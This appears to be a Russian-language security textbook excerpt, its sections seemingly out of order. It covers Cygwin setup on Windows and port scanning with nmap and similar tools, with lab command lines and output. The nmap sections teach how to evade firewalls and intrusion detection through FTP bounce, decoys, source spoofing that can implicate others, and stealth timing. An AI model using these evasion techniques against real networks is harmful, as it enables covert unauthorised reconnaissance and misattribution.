Дополнительно к стандартному набору файлов, VMware устанавливает несколько сетевых утилит. Поскольку предполагается, что виртуальные машины под управлением VMware ничем не отличаются от реальных компьютеров, каждая виртуальная машина требует наличия собственного сетевого адаптера и IP-адреса. У VMware имеется несколько различных параметров для настройки сети, о которых мы расскажем позже.

После того как вы ответите на несколько простых вопросов (и VMware создаст на вашем рабочем столе пиктограмму для быстрого запуска), процесс инсталляции можно считать завершенным. В полном соответствии с требованиями Windows вам потребуется перезагрузить машину, чтобы начать использовать приложение.



Реализация


Щелкните дважды на значке Cygwin. Вы увидите окно, похожее на то, что представлено ниже.


Скрипт cygwin.bat выполняется из командной строки DOS, устанавливает среду Cygwin и запускает интерпретатор bash под Windows. Cygwin прекрасно настраивает переменные Unix-окружения в соответствии с переменными окружения Windows. Например, на своей машине, я вошел в Windows, как пользователь bjohnson. Когда я запускаю Cygwin, он по умолчанию загружается под управлением пользователя bjohnson.

Ниже представлено окно с некоторыми стандартными Unix-командами в Cygwin.


В зависимости от установленных вами пакетов, вы легко можете запускать соответствующие Unix-утилиты. Если вы пользователь Unix, вам, несомненно, хотелось бы, чтобы в Windows была команда ps для просмотра выполняемых в настоящее время процессов без использования Task Manager. Если вы используете флаг -aW, вы сможете увидеть процессы Windows, как и любые запущенные процессы Cygwin. Ниже представлен список Windows-процессов, доступный в результате выполнения Cygwin команды (ps -aW | less).

PID PPID PGID WINPID TTY UID STIME COMMAND 3193213 0 0 4291774083 ? 0 Dec 31 C:\WINDOWS\SYSTEM\KERNEL32.DLL 63753 0 0 4294903543 ? 0 Dec 31 C:\WINDOWS\SYSTEM\MSGSRV32.EXE 60569 0 0 4294906727 ? 0 Dec 31 C:\WINDOWS\SYSTEM\MPREXE.EXE 77349 0 0 4294889947 ? 0 Dec 31 C:\WINDOWS\SYSTEM\RPCSS.EXE 196093 0 0 4294771203 ? 0 Dec 31 C:\WINDOWS\SYSTEM\mmtask.tsk 191237 0 0 4294776059 ? 0 Dec 31 C:\WINDOWS\EXPLORER.EXE 237709 0 0 4294729587 ? 0 Dec 31 C:\WINDOWS\TASKMON.EXE 230713 0 0 4294736583 ? 0 Dec 31 C:\WINDOWS\SYSTEM\SYSTRAY.EXE 217533 0 0 4294749763 ? 0 Dec 31 C:\PROGRAMFILES\DIRECTCD\DIRECTCD.EXE



Создание программ в Windows


Что можно сделать еще? Если вы установите GCC, GDB, make, и Binutils, то сможете получить бесплатную Windows-среду для разработки C/C++ приложений. Это конечно не Microsoft's Visual Studio, но зато и не так дорого. Вот пример компиляции и выполнения простой программы на C.


Выполнение Perl-скриптов

Хотя Perl-программы доступны для Windows, многие из них не бесплатны. Cygwin дает возможность свободного исполнения Perl-скриптов на вашей Windows-машине. Чтобы показать, что это возможно, я написал пример скрипта, который берет числа (по любому основанию от 2 до 16) и преобразует их в числа с другим основанием (от 2 до 16). В этом примере я преобразовал число 435 в десятичной системе счисления в шестнадцатеричную систему.


Полезные Unix-утилиты

Теперь у вас есть доступ к миллионам полезных Unix-утилит внутри Windows, многие из которых могут быть полезны системным администраторам или специалистам по сетевой безопасности. Вот лишь некоторые из них.

grep. Поиск файлов на основе регулярных выражений.sed. Потоковый редактор, удобный для выполнения операций поиска и замены.strings. Извлечение отображаемых ASCII строк из двоичных файлов; хорош для документов Word в случае, если у вас не установлен MS Office.strace. Трассировка системных вызовов и сигналов; показывает, какие системные вызовы и сигналы порождает и получает приложение.md5sum. Обеспечивает проверку контрольной суммы файла для обеспечения гарантии авторизации и защиты от подделки.diff. Сравнивает два файла.patch. Использует результаты работы команды diff, чтобы сделать файл file1 таким же, как file2.Примечание. Вы можете обратиться на http://cygwin.com/ported.html, чтобы найти другие Cygwin-пакеты, доступные для загрузки. Вы можете найти такие популярные приложения, как Apache, smbclient (упоминавшийся в лекции "Системные средства с открытым программным кодом: основы"), и даже утилиты записи CD-дисков (включая mkisofs, упоминавшуюся в лекции "VMware", которая позволяет создавать ISO-образы компакт дисков).



Структура директорий и полномочия доступа к файлам


Cygwin монтирует ваши локальные диски в директории /cygdrive. Сюда входят разделы жесткого диска, дисководы, устройства для чтения компакт-дисков, устройства для чтения ZIP. Выполним команду df на моей машине. Получим структуру, подобную той, что приведена ниже.

Bjohnson@BRADMAN $ df Filesystem 1k-blocks Used Available Use% Mounted on C:\cygwin\bin 2096832 0 2096832 0% /usr/bin C:\cygwin\lib 2096832 0 2096832 0% /usr/lib C:\cygwin 2096832 0 2096832 0% / c: 2096832 0 2096832 0% /cygdrive/c d: 670496 670496 0 100% /cygdrive/d

После установки Cygwin я указал инсталлятору сохранить файлы в директорию C:\cygwin\. Cygwin использовал эту директории в качестве корневой точки монтирования файловой системы. Он смонтировал C:\cygwin\ bin на /usr/bin и C:\cygwin\lib на /usr/lib. В директории /usr/bin, /bin, и /usr/local/bin были добавлены переменные окружения Cygwin (но не Windows). Директории из среды окружения Windows были импортированы в среду Cygwin, чтобы иметь к ним доступ.

Cygwin также использует разумную систему полномочий доступа для Unix-файлов. Но что это может означать для всех ваших Windows-файлов? Кто владелец файлов, и какие полномочия установлены по умолчанию? Запустим команду ls -al на несколько Windows-файлов, чтобы получить ответ.

bjohnson@BRADMAN /cygdrive/c/cyginstall $ ls -al total 273 drwxr-xr-x 1 bjohnson unknown 0 Mar 13 17:48 . drwxr-xr-x 1 bjohnson unknown 0 Dec 31 1969 .. drwxr-xr-x 1 bjohnson unknown 0 Mar 13 18:06 contrib drwxr-xr-x 1 bjohnson unknown 0 Mar 13 18:03 latest -rwxr-xr-x 1 bjohnson unknown 218112 Mar 13 17:48 setup.exe -rw-r--r-- 1 bjohnson unknown 60607 Mar 13 17:54 setup.ini

Cygwin попытается получить информацию о владельцах файла (пользователе и группе) из Windows. Пока я использовал машину под управлением Windows 98 с одним пользователем, все файлы принадлежали мне (bjohnson) с указанием в качестве группы "unknown". Это устанавливало полномочия для всех Windows-директорий и исполняемых файлов на значение 755 (чтение и выполнение для всех, запись только для владельца) и устанавливала всем файлам Windows полномочия 644 (чтение для всех, запись только для владельца). Выполнение команды chmod для Windows-файлов игнорируется.

Совет. Cygwin включает в себя несколько утилит (mkpasswd, mkgroup и т.д.) и значений переменных окружения (CYGWIN=ntsec), которые помогают отобразить систему полномочий Windows NT/2000 в систему полномочий Unix так, чтобы обеспечить пользователям Unix и администраторам систем возможность работы на вашей машине с использованием Cygwin. За дополнительной информацией обращайтесь на http://cygwin.com/cygwin-ug-net/ntsec.html и к Cygwin FAQ (http://cygwin.com/faq).



Выполнение приложений


То, что вы сможете делать с использованием Cygwin, зависит от того, какие пакеты вы там установите. Познакомимся с некоторыми наиболее интересными примерами.



Выполнение Windows приложений


Вы можете не только выполнять Unix/Cygwin-приложения, но и запускать родные Windows-приложения из командной строки, как это показано ниже.


Кое-что вы можете делать и с графическими приложениями.



XFree86 для Cygwin


Вы можете даже запустить X Window внутри Cygwin. Во-первых, вам следует обратиться к http://cygwin.com/xfree/ и выбрать зеркало для скачивания двоичных файлов X Window. Вы можете использовать NcFTP под Cygwin (если он установлен) для доступа к зеркалу и перехода к директории cygwin/xfree/binaries/4.20 и загрузки всех файлов во временную директорию (мы используем /home/bjohnson/xfree/). Как только загрузка завершится, вам понадобится распаковать программу, которую вы скачали, а затем выполнить скрипт Xinstall.sh. Ниже приведены команды подготовки к инсталляции XFree86 для Cygwin.

bjohnson@BRADMAN ~/xfree$ ls FILES Xetc.tgz Xfsrv.tgz Xnest.tgz extract.exe.gz Install Xf100.tgz Xhtml.tgz Xprog.tgz gnu-tar README Xfcyr.tgz Xinstall.sh Xprt.tgz md5.sum RELNOTES Xfenc.tgz Xjdoc.tgz Xps.tgz startup-scripts.tgz Xbin.tgz Xfnts.tgz Xlib.tgz Xvfb.tgz Xdoc.tgz Xfscl.tgz Xman.tgz Xxserv.tgz

bjohnson@BRADMAN ~/xfree $ gunzip extract.exe.gz

bjohnson@BRADMAN ~/xfree $ cp extract.exe /bin/

bjohnson@BRADMAN ~/xfree $ ./Xinstall.sh

После запроса подтверждения XFree86 начнет распаковывать требуемые файлы.

Installing the mandatory parts of the binary distribution == Extracting /home/bjohnson/xfree/Xbin.tgz == == Extracting /home/bjohnson/xfree/Xlib.tgz == == Extracting /home/bjohnson/xfree/Xman.tgz ==

В заключение вас спросят, хотите ли вы установить дополнительные компоненты. Если вы не уверены, нужно вам это или нет, выбирайте значения по умолчанию (в скобках).

Checking for optional components to install ... Do you want to install Xfsrv.tar.gz (font server) (y/n) [y] == Extracting /home/bjohnson/xfree/Xfsrv.tar.gz == Do you want to install Xnest.tar.gz (Nested X server) (y/n) [y] == Extracting/home/bjohnson/xfree/Xnest.tar.gz ==

После завершения инсталляции необходимо разархивировать в /usr/X11R6/bin файл startup-scripts.tgz из директории, в которую загружались файлы.

bjohnson@BRADMAN ~/xfree $ cd /usr/X11R6/bin/

bjohnson@BRADMAN /usr/X11R6/bin/ $ tar zxf /home/bjohnson/xfree/startup-scripts.tgz

Вы закончили! Теперь наберите в командной строке /usr/X11R6/bin/startxwin.sh, и вы должны увидеть примерно то же самое, что изображено на рис. 5.3.

Вы сможете найти множество X Window-программ, которые устанавливаются вместе с XFree86 в директории /usr/X11R6/bin. Некоторые другие X Window-пакеты также доступны, но XFree86 для Cygwin - относительно новый продукт. Также можно загрузить оконный менеджер вроде KDE, Gnome, или Window Maker, каждый из которых доступен для Cygwin (См. http://cygwin.com/xfree/).


увеличить изображение
Рис. 5.3.  Windows под Cygwin

Пример из жизни. Использование Unix в среде Windows

Кен работает в компании, разрабатывающей программное обеспечение. Когда он учился в колледже, то преимущественно пользовался Solaris и IRIX, а в этой компании используются только станции Windows 2000. Кену удалось убедить системных администраторов разрешить ему инсталлировать Cygwin, чтобы он мог использовать некоторые полезные средства Unix: bash, diff, sleep, vi, lynx, grep, less, md5sum и NcFTP. Кроме того, он использовал утилиты Cygwin cvs и sshd, чтобы установить безопасное хранилище Concurrent Versions System (CVS) для контроля версий кода, над которым он и его отдел работают. Он также использует Rsync, чтобы следить за хранилищем CVS на другом сервере, на случай, если что-то произойдет с его машиной. Интерпретатор Cygwin's Perl и операционная оболочка GNU также дают Кену возможность компилировать Unix-код <Cygwin-ized> в системе Windows. Одно из увлечений Кена - сетевая безопасность. Он надеется взять Unix-утилиты, такие, как nmap, и использовать подсистему Cygwin, чтобы иметь возможность работать с ними в Windows.

Кен понимает, что, скорее всего, системы Windows будут доминировать в корпоративной рабочей среде. Помогая в разработке многих Unix-приложений, которые также могут запускаться в Windows с помощью Cygwin, он надеется построить мост между двумя сообществами так, чтобы средства Windows и Unix могли безболезненно работать в комбинации в одной системе (и без дополнительных затрат).

<

Загрузка и инсталляция


Cygwin и связанные с ним программные средства распространяются на основе GNU (General Public License). Вы можете запустить процесс инсталляции на сайте http://cygwin.com/ и скачать инсталляционную программу. Инсталляционная программа загружает файлы Cygwin с выбранного вами зеркала и устанавливает их в заданное по умолчанию место. Вы можете выбирать между использованием протоколов HTTP, FTP или Rsync.

Вам придется ответить на несколько вопросов вроде того, хотите вы или нет, чтобы Cygwin приложения генерировали текстовые файлы в формате MS-DOS или Unix. Текстовые файлы DOS содержат в конце строки символы конца строки и переход на новую строку, в то время как Unix-файлы содержат только конец строки; если вы видите символы ^M в конце текстовых файлов, то весьма вероятно, что они были перенесены из одной системы в другую (из Unix в Windows ) в двоичном формате, а не в ASCII-кодах. Если вы работаете с многопользовательской Windows-машиной, вас также спросят, хотите ли вы установить приложение только для одного пользователя или для всех, работающих в этой системе.

Инсталлятор Cygwin также будет спрашивать, какие программные средства вы хотите установить. Форма запроса изображена на рис. 5.1.


увеличить изображение
Рис. 5.1.  Выбор пакетов для установки - просмотр категорий

Вы можете использовать опции Prev, Curr и Exp, чтобы указать инсталлятору автоматически устанавливать старую, текущую или экспериментальную версии программного обеспечения. Будьте осторожны: если вы пролистали список и выбрали приложения, которые необходимо установить, а затем изменили значение этого параметра (щелкнули на одной из кнопок) ваш предыдущий выбор пропадет!

Наилучшим может быть выбор кнопки View. Эта кнопка переключает режимы просмотра доступных пакетов. Развернутый режим просмотра, возможно, окажется более простым в работе, его внешний вид представлен на рис. 5.2.

В режиме полного просмотра вы можете увидеть все доступные для установки пакеты в алфавитном порядке.
Щелкнув на фигурной стрелке слева от наименования пакета, вы сможете просмотреть все опции для этого пакета. Вы можете выбрать для инсталляции исходные тексты пакета (и откомпилировать их позже самостоятельно), или сделать выбор между одной или другой двоичными версиями пакета для установки. Если вы устанавливаете двоичную версию пакета, но по каким-либо причинам хотите загрузить соответствующие исходные тексты, отметьте значок Src.


увеличить изображение
Рис. 5.2.  Выбор пакетов для установки - полный просмотр

Совет. Если вы не выбрали пакет для установки, но позднее передумали, вы можете просто вернуться в программу установки Cygwin; она загрузит и установит только те пакеты, которые вы добавили в список в этот раз.

После того как вы выбрали пакеты для установки, Cygwin загрузит и установит их. Скорость установки будет зависеть от количества выбранных пакетов и скорости используемого Internet-соединения. Когда вы закончите, неплохо будет создать на рабочем столе значок Cygwin для запуска.


FSCAN


Все сканеры портов для Windows, которые только что обсуждались, не могут осуществлять UDP-сканирование. FScan, также поставляемая Foundstone, Inc., представляет собой бесплатный сканер портов, работающий из командной строки, который позволяет проводить UDP, TCP и Ping-сканирование. Программу можно загрузить по адресу http://www.foundstone.com/knowledge/free_tools.html.



IPEYE


Вам уже знакомы два сканера портов, работающих под управлением Windows, с удобным графическим интерфейсом пользователя и форматированием информации, но с ограниченными средствами сокрытия результатов своей деятельности. IpEye - сканер портов для Windows 2000 и XP, работающий под управлением командной строки, с теми же возможности маскировки, что и nmap, включая SYN, FIN, Xmas tree и null-сканирование. Эта программа невелика, проста в использовании, бесплатна и доступна для загрузки по адресу http://ntsecurity.nu/toolbox/ipeye/. К сожалению, ipEye работает только под управлением Windows 2000 и XP.



Маскировка сканирования


У nmap есть несколько опций сканирования. Некоторые из них могут помочь скрыть сканирование портов от определения по системным журналам с помощью брандмауэров и IDSs-систем. Вдобавок, nmap предоставляет вам некоторые возможности рандомизации и маскировки, которые предоставляются такими программами, как Netcat и hping.

FTP Bounce. У FTP есть ошибка, которая может дать преимущество при использовании nmap. Когда вы соединяетесь с FTP-сервером при помощи FTP-клиента, ваш клиент взаимодействует с FTP-сервером по 21 порту. Это TCP-соединение называется контрольным соединением (control). FTP-сервер требует установления отдельного соединения с клиентом, называемого соединением по данным (data), через которое будут передаваться данные. Клиент ожидает от сервера установления соединения по данным на отдельном TCP-порте. Он передает серверу команду PORT, чтобы сообщить ему о необходимости инициировать соединение с клиентским IP-адресом и вновь открытым портом. Этот метод взаимодействия называется активной передачей. Поскольку многие клиентские машины используют трансляцию адресов (NAT) или находятся за брандмауэром во внутренней сети, активное FTP-соединение обычно не работает, поскольку инициированное сервером соединение с клиентом не может проникнуть внутрь защищенной зоны.

Примечание. Большинством FTP-клиентов и серверов используется пассивная передача, поскольку в этом случае клиент инициирует оба соединения - и контрольное, и соединение по данным - передавая информацию через брандмауэр или систему NAT.

Сосредоточимся на команде PORT. Ее законное использование сообщает FTP-серверу о необходимости установить обратное соединение по данным с только что открытым портом. Но поскольку мы определили для использования не только порт, но и IP-адрес, наш клиент, передавший команду PORT на сервер, может попытаться установить соединение с кем-то, находящимся где-либо. Nmap может использовать такое поведение для сканирования порта с целью определения уязвимого FTP-сервера и интерпретации полученных результатов.
Такой прием называется FTP-сканированием. nmap создает активное FTP-соединение с сервером и передает команды PORT, содержащие IP-адрес и порт сканируемого хоста. Затем Nmap может интерпретировать полученные результаты и выводить их в том же самом формате, что и нормальные результаты сканирования порта.

Как найти FTP-сервер, который можно так использовать? Это самая интересная часть. Это ошибка проектирования, а не только недостатки реализации. FTP-серверы, разработанные в соответствии с документом RFC 959 для протокола FTP, должны реализовывать эту возможность. Многие пакеты FTP-серверов, такие как wu-ftpd, модифицированы для передачи команды PORT только оригинальному хосту, и многие поставщики операционных систем со встроенными FTP-серверами скорректированы в соответствии с этим. Но некоторые по-прежнему запускают устаревшие или не скорректированные FTP-серверы. Не следует запускать анонимный FTP-сервер, если в этом нет очень серьезной необходимости.

Пойдем дальше. Выберем анонимный FTP-сервер и попытаемся выполнить:

nmap -b anonymous@ftp.lame_host.com -p 6000 192.168.1.200

Предыдущая команда пытается использовать ftp.lame_host.com для сканирования порта с номером 6000 на машине 192.168.1.200, чтобы сообщить, используется ли там X Window-сервер. А вот пример взаимодействия nmap с этим сервером.

Server: 220 LAME_HOST FTP server version 4 ready Client: USER anonymous Server: 331 Guest login OK, send e-mail as password Client: PASS -wwwuser@ Server: 230 Login successful Client: PORT 192,168,1,200,23,112 Server: 200 PORT command successful Client: LIST Server: 150 Opening ASCII connection for "/bin/ls" Server: 226 Transfer complete

Nmap сообщает о необходимости открыть соединение по порту 6000 на машине 192.168.1.200, используя команду PORT. Последние две цифры в конце команды PORT, 23 и 112, представляют собой порт с номером 6000. (FTP определяет это, умножая первое число на 256 и складывая со вторым числом 23*256+112=6000). Если команда успешно выполнена, появляется возможность выполнить команду LIST.


Поскольку это позволяет открыть соединение, порт 6000 открыт на машине 192.168.1.200. Если сервер вместо этого сообщает "425 Can't build data connection", мы можем определить, что порт 6000 закрыт.

Если команда PORT работает, вы можете не только сканировать кого-либо еще, но и порты любой машины, к которой имеет доступ FTP-сервер. Это великолепный способ обойти фильтры портов и брандмауэры, которые обычно не пропускают ваши попытки сканирования. Однако всегда будьте осмотрительны, используя маскировку, подобную этой. Помните, что FTP-серверы могут зафиксировать ваши соединения в журнале. Если кто-либо заподозрит LameHost в сканировании его сети в 13:45 6 января, и у него есть анонимное FTP-соединение с вашей домашней машиной в это же самое время, вы попались.

Даже если вы нашли сервер, уязвимый с точки зрения FTP, это не дает вам возможности сканировать привилегированные порты (с номером ниже 1024), поскольку FTP-клиент обычно не должен прослушивать привилегированные порты в ожидании соединения по данным.

Фрагментация. Опция -f nmap, указывает на необходимость выполнения скрытого сканирования (-sS, -sF, -sX или -sN) с использованием фрагментированных IP-пакетов, у которых разорваны TCP-заголовки. Идея состоит в предохранении таких "искаженных" TCP-пакетов с необычными флагами от блокировки брандмауэрами. Эта опция может привести к нарушению в работе некоторых систем и не может корректно работать на всех разновидностях Unix, поэтому применяйте ее осторожно.

Заманивание. Мы беседовали о том, как можно замаскировать сканирование портов, сохранив при этом возможность получения результатов сканирования (вместо того чтобы передавать их на наш неизвестный адрес). Мы также обсуждали, как это сложно сделать (в лекциях "NETCAT и CRYPTCAT" и "Системные средства" и на протяжении всей этой лекции). Nmap дает возможность определить хост "ловушку", используя опцию -D. Идея состоит в определении нескольких "мистических жертв" - хостов в интернете - и задания их в разделенном запятыми списке после флага -D.


Nmap будет, как обычно, выполнять роль сканера порта, но при этом определяться среди замаскированных сканеров портов с IP-адресами - ловушками. Системный администратор увидит несколько различных сканеров портов, но только один из них будет настоящим.

Примечание. Опция -S nmap позволяет вам задать исходящий IP-адрес для ваших пакетов. Вы можете использовать это для создания впечатления, что сканирование производится с заданного вами адреса. Эта функция имеет смысл для хоста с несколькими адресами, но может быть использована для маскировки и создания общего беспорядка. Вы не сможете получить обратно результаты сканирования, но вы можете выставить кого-то, как вредителя. Но будьте осторожны, маскируясь под других людей. В случае если системы обнаружения вторжений или брандмауэры оснащены функциями против приманки, вы можете объявить о себе во всеуслышанье, вместо того чтобы остаться незамеченным.

Рандомизация портов и хостов. Nmap по умолчанию перебирает заданные вами порты случайным образом. Вы можете выключить эту возможность, воспользовавшись флагом -r. Если вы задали список хостов для сканирования, то можете задать случайный порядок сканирования, используя флаг -randomize_hosts.


NetScanTools


NetScanTools - утилита сканирования с графическим интерфейсом (см. рис. 6.2). Представляет собой коммерческий продукт, но вы можете загрузить 30-дневную пробную версию по адресу http://www.netscantools.com/. Загружаемый файл для версии 4.22 составляет 1.5Мб. Профессиональную версию программы надо покупать.


Рис. 6.2.  Окно NetScanTools



Nmap


Nmap - один из наиболее доступных сканеров портов. Вы можете загрузить его по адресу http://www.insecure.org/ и с легкостью установить его на большинстве Unix-систем (используя последовательность configure, make, make install). И, по всеобщему мнению, "кривой" порт nmap для Windows, созданный фирмой eEye, который называется nmapNT, доступен по адресу http://www.eeye.com/html/Research/Tools/nmapnt.html. Для нашего обсуждения мы будем использовать версию nmap для Unix номер 2.54 beta 30.



Nmapfe


Nmap поставляется с собственным графическим интерфейсом, который вы можете использовать под управлением X Window. Эта программа называется nmapfe. Ее внешний вид изображен на рис. 6.1. Программа имеет много таких же как и nmap параметров, но использует экранные формы и меню для ввода информации от пользователя и сканирования конфигурации. Программа выглядит куда приятней и проще в использовании, но у нее по-прежнему остается много настроечных параметров, вводимых из командной строки.


Рис. 6.1.  Nmap front end (Nmapfe)

Пример из жизни. Разметка сетей и возможных целей

Давайте посмотрим на некоторые примеры использования nmap и увидим, какие следы остаются в журналах одного из хостов (старая система Linux с IP-адресом 192.168.1.100). Мы начнем со сканирования Ping (опция -sP) всей сети 192.168.1.0. Мы можем обозначить эту цель несколькими способами в командной строке:

nmap -sP "192.168.1.*" nmap -sP 192.168.1.0/24 nmap -sP 192.168.1.1-254

Последний метод позволяет нам пропустить сетевые адреса и адреса общего доступа подсети класса C. Это нормально, что Ping сканирует эти адреса, но их пропуск при сканировании порта бережет время.

bash-2.04$ nmap -sP 192.168.1.1-254

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) Host (192.168.1.1) appears to be up. Host (192.168.1.100) appears to be up. Host (192.168.1.101) appears to be up. Host (192.168.1.102) appears to be up.

Nmap run completed - 254 IP addresses (4 hosts up) scanned in 2 seconds

Сейчас мы знаем, какие хосты ответили на Ping запрос. Но что, если некоторые хосты блокируют ICMP Pings? Если вы повторите запрос, по умолчанию nmap использует ICMP Ping и TCP Ping (ссылка на опцию -P). Итак, видимо, это полный список. Сейчас мы должны сфокусироваться на нашем реальном сканировании портов на этих четырех системах. Давайте попробуем запустить nmap безо всяких опций на этих четырех системах и посмотрим, что получится.

bash-2.04$ nmap 192.168.1.1,100-102

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) Interesting ports on (192.168.1.1): (The 1548 ports scanned but not shown below are in state: closed) Port State Service 80/tcp open http


Interesting ports on (192.168.1.100): ( The 1539 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http 512/tcp open exec 513/tcp open login 514/tcp open shell 1024/tcp open kdm 1032/tcp open iad3 6000/tcp open X11

Interesting ports on (192.168.1.101): (The 1547 ports scanned but not shown below are in state: closed) Port State Service 139/tcp open netbios-ssn 641/tcp open unknown

Interesting ports on (192.168.1.102): (The 1545 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http

Nmap run completed - 4 IP addresses (4 hosts up) scanned in 17 seconds

Обратите внимание на синтаксис при спецификации цели. В отношении портов мы можем специфицировать IP-адреса с помощью комбинации разделенных запятой списков и диапазонов. Сейчас мы только что провели сканирование по умолчанию. Это значит, что сканировались только порты, которые указаны в служебном файле nmap, а также порты 1-1024. Использовались: обобщенный метод TCP connect() (возможно, самый громкий из возможных) и опция нормальной синхронизации (Normal timing). Давайте посмотрим, как теперь выглядит журнал Unix на 192.168.1.100.

Mar 15 20:25:33 originix in.telnetd[1653] : warning: can't get client address: Connection reset by peer Mar 15 20:25:33 originix in.telnetd[1653] : refused connect from unknown Mar 15 20:25:34 originix in.rlogind[1655] : warning: can't get client address: Connection reset by peer Mar 15 20:25:34 originix in.rlogind[1655] : refused connect from unknown Mar 15 20:25:34 originix in.ftpd[1656] : warning: can't get client address: Connection reset by peer Mar 15 20:25:34 originix in.ftpd[1656] : refused connect from unknown Mar 15 20:25:34 originix in.rshd[1658] : warning: can't get client address: Connection reset by peer Mar 15 20:25:34 originix in.rshd[1658] : refused connect from unknown Mar 15 20:25:34 originix in.rexecd[1657] : warning: can't get client address: Connection reset by peer Mar 15 20:25:34 originix in.rexecd[1657] : refused connect from unknown



Совершенно очевидно, что порты были просканированы, но эти службы не смогли определить IP-адрес клиента. Это потому, что nmap послал пакет сброса (RST) после завершения TCP вместо FIN. Некоторые службы в этом случае не смогут захватить IP-адрес сканера. Однако независимо от этого, у нас осталось множество свидетельств в журнале. Давайте прикинемся пользователем root и попробуем провести сканирование SYN с подлой политикой синхронизации. Это сканирование займет несколько больше времени, но не будет таким громким. Мы сделаем это только на 192.168.1.100, поэтому сможем просмотреть журналы. При проведении сканирования с тайными опциями синхронизации, хорошей идеей будет использовать признак -v или -d, чтобы можно было следить за тем, что происходит. Выходная информация будет слишком длинной, чтобы помещать ее здесь, но мы покажем командную строку.

# nmap -d -v -v -sS -T Sneaky -p 20-80 192.168.1.100

Проблема с тайным сканированием заключается в том, что оно занимает много времени. Поэтому мы хотим сократить диапазон портов. Даже 20-80 займет, по крайней мере, 15 секунд, умноженные на 61 порт. А это больше 15 минут! И это без учета 15-ти секундного времени ожидания ответов зондирования. Очевидно, тайное сканирование подойдет вам больше, если вы ищете конкретный порт среди целого ряда машин (вероятно, в надежде, что уязвимая служба работает за ней).

Хорошо то, что наши журналы на 192.168.1.100 не хранят никаких сведений. А 15-ти секундное время ожидания может быть достаточно длинным, чтобы предотвратить разоблачение нас через IDS.

Давайте посмотрим, как работает распознавание OS у nmap.

# nmap -O 192.168.1.1,100,101

Starting nmap V. 2.54BETA30 ( www.insecure.org/nmap/ ) Interesting ports on (192.168.1.1): (The 1548 ports scanned but not shown below are in state: closed) Port State Service 80/tcp open http

No exact OS matches for host (If you know what OS is running on it, see http://www.insecure.org/cgi-bin/nmap-submit.cgi). TCP/IP fingerprint: SInfo(V=2.54BETA30%P=i386-unknown-freebsd4.3%D=3/16%Time=3C9346F5%O=80%C=1) TSeq(Class=TD%gcd=1A4%SI=0%IPID=Z%TS=U) T1(Resp=Y%DF=N%W=400%ACK=S++%Flags=AR%Ops=) T2(Resp=Y%DF=N%W=400%ACK=S%Flags=AR%Ops=) T3(Resp=Y%DF=N%W=400%ACK=S++%Flags=AR%Ops=) T4(Resp=Y%DF=N%W=400%ACK=S%Flags=AR%Ops=) T5(Resp=Y%DF=N%W=400%ACK=S++%Flags=AR%Ops=) T6(Resp=Y%DF=N%W=400%ACK=S%Flags=AR%Ops=) T7(Resp=Y%DF=N%W=400%ACK=S++%Flags=AR%Ops=) PU(Resp=N)



Interesting ports on (192.168.1.100): ( The 1540 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 80/tcp open http 512/tcp open exec 513/tcp open login 514/tcp open shell 1024/tcp open kdm 6000/tcp open X11

Remote operating system guess: Linux 2.1.19 - 2.2.17 Uptime 2.597 days (since Wed Mar 13 23:00:28 2002) Interesting ports on (192.168.1.101): (The 1547 ports scanned but not shown below are in state: closed) Port State Service 139/tcp open netbios-ssn 641/tcp open unknown

Remote operating system guess: Windows 98 w/ Service Pack 1 Nmap run completed - 2 IP addresses (2 hosts up) scanned in 12 seconds

Nmap верно определил наши машины Linux и Windows. Он даже определил время безостановочной работы Linux. Тем не менее, у nmap были проблемы с нашим маршрутизатором Linksys. Мы сейчас можем послать этот отпечаток пальца разработчикам nmap, и этот Linksys будет узнаваемым в следующей версии nmap.


OS Fingerprinting


Одной из наиболее часто употребляемых возможностей, которые предоставляет nmap, является удаленная идентификация хоста. Nmap, просто осуществляя сканирование по сети, зачастую может сообщить вам, какая операционная система выполняется на хосте, а также дать некоторую информацию о номере версии и релиза. Как это делается? Если задан флаг -O, nmap использует несколько различных приемов для поиска некоторых характерных признаков в TCP/IP-пакетах, возвращаемых хостом. Посылая специально созданные TCP- и UDP-заголовки, nmap может получить некоторые сведения о том, как удаленный хост осуществляет взаимодействие по протоколу TCP/IP. Если затем проанализировать информацию, то ее можно сравнить с известными признаками, которые хранятся в файле nmap-os-fingerprints. Этот файл поддерживается разработчиками nmap. Если вы сканируете хост с известной операционной системой, используя флаг -O, и nmap не может ее распознать, то он выводит зашифрованный результат тестирования и сетевой адрес, чтобы можно было послать информацию разработчикам. Просто сбросьте информацию о тестировании и название операционной системы, и она будет включена в следующую версию Nmap.

Флаг определения ОС также может обеспечить анализ TCP-пакетов с целью определения информации типа общей продолжительности работы системы с момента последней перезагрузки (используя отметку времени в TCP/IP) и предсказуемость последовательного номера. Предсказуемая последовательность номеров упрощает возможность имитации TCP-соединения посредством перехвата пакетов и угадывания последовательности номеров.

Дополнительную информацию об определении ОС при помощи nmap вы получите из примеров в конце этого раздела.



Расписание сканирования


Nmap использует опции планирования по времени, чтобы попытаться скрыть сканирование портов от брандмауэров и систем IDSs, которые используют основанные на временных параметрах алгоритмы обнаружения сканирования. Вдобавок, вы можете определить свою собственную политику планирования по времени, используя специальные флаги командной строки. В таблице 6.2 подробно описаны встроенные расписания и показано, как можно определить собственную политику сканирования. Вы можете использовать именованные политики маскировки с использованием флага -T. Команда nmap -T Sneaky -sS 192.168.1.100 -p 1-100 позволяет сделать попытку избежать определения сканирования с использованием именованной политики Sneaky и метода сканирования SYN при сканировании первых ста портов на компьютере 192.168.1.100.

Для полной ясности, флаг -scan_delay определяет минимальный временной промежуток в миллисекундах, который следует выдерживать между попытками сканирования. Параметр -host_timeout определяет максимальную задержку по времени в миллисекундах при сканировании одного хоста таким образом, что вы можете прерваться через 5 минут, если сканирование порта занимает слишком много времени. Параметр rtt_timeout определяет, время ожидания ответа в миллисекундах.

Таблица 6.2. Опции расписания и политик сканирования Nmap

НаименованиеВремя между зондированиямиВремя, потраченное на один хостТайм-аут на ответ о зондированииИспользование параллельных зондирований
Paranoid5 минутБез ограничений5 минутнет
Sneaky15 секундБез ограничений15 секунднет
Polite0.4 секундБез ограничений6 секунд (10 макс)нет
NormalнетБез ограничений6 секунд (10 макс)нет
